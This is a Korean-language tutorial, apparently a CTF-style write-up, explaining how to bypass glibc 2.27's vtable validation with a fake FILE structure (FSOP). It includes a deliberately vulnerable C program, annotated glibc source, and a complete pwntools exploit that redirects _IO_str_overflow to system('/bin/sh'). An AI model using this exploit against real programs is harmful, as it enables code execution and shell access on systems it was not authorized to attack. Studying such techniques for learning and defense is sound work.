FSOP_exploit glibc 2.27
HOW to exploit glic 2.27 using FSOP
HOW to exploit glic 2.27 using FSOP
1 glibc 2.27에서의 exploit 방법
- glibc 2.27에서 부터 vtable 주소 검증 루틴이 추가 되었다. 즉 vtable 의 함수 주소가
_libc_io_vtable
영역에 해당되는지 체크가 진행한다.IO_validate_vtable
참조
// gcc -o vtable_bypass vtable_bypass.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
FILE * fp;
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main()
{
initialize();
fp = fopen("/dev/urandom", "r");
printf("stdout: %pn", stdout);
printf("Data: ");
read(0, fp, 300);
if (*(long*)((char*) fp + 0xe0) != 0)
{
exit(0);
}
fclose(fp);
}
file 포인터에 입력을 받는 상황이고 fclose(fp)를 통해 exploit 할 수 있을 거 같다.
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
_IO_FINISH (fp);
이 함수는 vtable + 0x10 offset에 있다.
fp를 덮을 수 있으니 vtable_check 함수에 걸리지 않는 함수를 찾아내서 vtable 주소에 넣으면 원하는 함수가 실행 될 수 있을 거 같다.
2 IO_str_overflow 분석
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
}
}
}
_IO_str_overflow
함수는 _io_str_jumps
에 있는 함수이다. file_pointer와 offset이 0xd8이다.
이 함수에서는 vtable_check이 없는 부분인 (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
를 의심해야한다.
typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
but a 32 bit pointer type. In this case, we get 4 bytes of padding
after the vtable pointer. Putting them in a structure together solves
this problem. */
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
_IO_strfile_
구조체 안에 _s
라는 변수가 있고 또 _allocate_buffer
를 참조하여 함수를 실행한다.
그럼 fp->vtable 에는 _IO_str_overflow
- 0x10 을 넣어 준다.
fclose 에서 vtable + 0x10에 _IO_str_overflow
가 들어간것을 볼 수 있다.
3 조건 맞춰주기
fp->flags 들은 _IO_NO_WRITES
off, _IO_CURRENTLY_PUTTING
on, _IO_USER_BUF
off로 해야 한다.
즉 0xfbad8000
define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
size가 인자로 들어가기 때문에 rdi의 값이 binsh의 주소가 들어가야 한다.
즉 _IO_buf_end - _IO_buf_base
값이 (&binsh - 100) // 2 이어야 한다.
pos = fp->_IO_write_ptr - fp->_IO_write_base;
이 값이 old_blen 보다 커야 하기 때문에 _IO_write_ptr
에 binsh 주소값을 넣어준다.
_s.allocate_buffer
라는 변수는 vtable +0x8에 위치 하기 때문에 뒤에 system 주소를 넣어준다.
4 payload
from pwn import *
context.log_level='debug'
context.arch='amd64'
r = remote('localhost', 1111)
lib = ELF('./libc.so.6')
sla = lambda a, b : r.sendlineafter(a,b)
sa = lambda a, b : r.sendafter(a,b)
slog = lambda s, h : success(': '.join([s,hex(h)]))
r.recvuntil(b'stdout: ')
leak = int(r.recvline()[:-1], 16) - lib.sym['_IO_2_1_stdout_']
slog('libc', leak)
vtable = leak + lib.sym['_IO_file_jumps'] + 0xd8 - 0x18
slog('vtalbe', vtable)
lock = leak + 0x3eb8c0
binsh = leak + next(lib.search(b'/bin/sh'))
system = leak + lib.sym['system']
fake = FileStructure(0)
fake.flags = 0xfbad8000
fake._lock=lock
fake._IO_buf_end = (binsh - 100) // 2
fake._IO_buf_base = 0
fake._IO_write_ptr = binsh
fake._IO_write_base = 0
fake.vtable = vtable
pause()
r.sendafter(b'Data: ', bytes(fake) + p64(system))
r.interactive()